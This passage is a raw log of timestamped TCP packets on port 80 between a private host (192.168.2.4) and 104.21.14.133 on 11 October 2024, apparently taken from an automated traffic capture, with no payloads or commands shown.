Oct 11, 2024 04:10:45.014425993 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.014429092 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014461994 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014492989 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.014513016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014545918 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014575005 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.014578104 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014606953 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014637947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.014659882 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014710903 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014743090 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.014744043 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014777899 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014810085 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.014811993 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014846087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014877081 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.014878988 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014913082 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014942884 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.014945030 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.014980078 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015010118 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.015012026 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015045881 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015074968 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.015079021 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015111923 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015144110 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.015145063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015178919 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015178919 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.015209913 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.015213013 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015244007 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.015250921 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015285015 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015285015 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.015315056 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.015321016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015355110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015387058 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.015415907 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015450001 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015481949 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.015484095 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015516996 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015547037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.015554905 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015588045 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.015588999 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015624046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015655041 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.015656948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015691042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.015721083 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.015723944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.016469955 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.094851017 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095001936 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095055103 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095088959 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095096111 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.095122099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095124006 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.095160007 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.095177889 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095217943 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.095230103 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095263958 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095298052 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.095314026 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095350027 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095385075 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.095439911 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095491886 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095527887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095530033 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.095570087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095602036 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095602989 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.095642090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095669985 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.095669985 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.095674992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095685959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.095710039 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095740080 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.095742941 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095777988 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095808029 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.095809937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095844984 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095875025 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.095876932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095911980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095941067 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.095942974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.095977068 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096007109 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.096009970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096044064 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096072912 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.096076965 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096111059 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096141100 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.096143007 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096175909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.096179962 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096211910 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.096215010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096251965 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.096252918 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096285105 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.096287012 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096322060 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096350908 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.096354008 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096389055 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096419096 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.096421003 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096455097 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096486092 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.096487999 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096523046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096553087 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.096554995 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096590042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096618891 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.096621990 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096657991 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.096687078 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.096690893 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.097304106 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.100267887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.100390911 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.100424051 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.100425959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.100456953 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.100460052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.100493908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.100522995 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.100545883 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.100581884 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.100583076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.100615978 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.100646973 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.100650072 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.100682974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.100712061 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.100714922 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.100749016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.100780010 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.100780964 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.100831985 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.100862026 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.100866079 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.100899935 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.100929976 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.100933075 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.100982904 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101013899 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.101016998 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101052046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101082087 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.101083040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101118088 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101151943 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.101154089 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101187944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101217985 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.101218939 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101253986 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101284027 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.101284981 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101320028 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101351976 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101352930 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.101387024 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101416111 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.101418972 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101452112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101481915 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.101506948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101541996 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101572037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.101593018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101653099 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101681948 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.101681948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101733923 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101763964 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.101784945 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101816893 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101845026 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.101866961 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101897955 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101927996 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.101931095 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101963997 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.101994038 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.102015018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102063894 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102092981 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.102097034 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102128983 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102159023 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.102163076 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102195978 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102226019 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.102247000 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102277040 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102307081 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.102325916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102361917 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.102363110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102391958 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.102396011 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102427959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.102431059 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102462053 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.102464914 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102502108 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102530003 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.102533102 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102571011 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102597952 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102598906 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.102632046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102660894 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.102664948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102696896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102726936 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.102730036 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102762938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102792025 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.102802992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102835894 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102866888 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.102870941 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102905035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.102935076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.102937937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.103337049 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.182568073 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.182615042 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.182666063 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.182717085 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.182750940 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.182781935 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.182813883 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.182831049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.182863951 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.182884932 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.182884932 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.182884932 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.182884932 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.182895899 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.182919979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.182930946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.182962894 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.182969093 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.183018923 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183057070 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.183069944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183104038 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183135033 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183141947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.183171034 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.183176994 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183209896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183211088 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.183243036 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.183244944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183278084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183309078 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.183310986 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183343887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183373928 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.183377028 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183439016 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183469057 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.183473110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183505058 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183545113 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.183545113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183585882 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183619022 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183621883 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.183651924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183685064 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.183686018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183720112 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183751106 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.183753967 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183787107 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183819056 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.183823109 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183855057 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183887959 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183897018 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.183919907 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183950901 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.183953047 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.183985949 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.184016943 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.184019089 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.184052944 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.184084892 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.184086084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.184120893 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.184153080 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.184155941 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.184190035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.184221029 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.184222937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.184257030 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.184288025 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.184290886 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.184322119 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.184355974 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.186587095 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.188081980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188146114 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188184023 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188188076 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.188220024 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188255072 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:45.188296080 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.188296080 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:45.188309908 CEST	80	49733	104.21.14.133	192.168.2.4
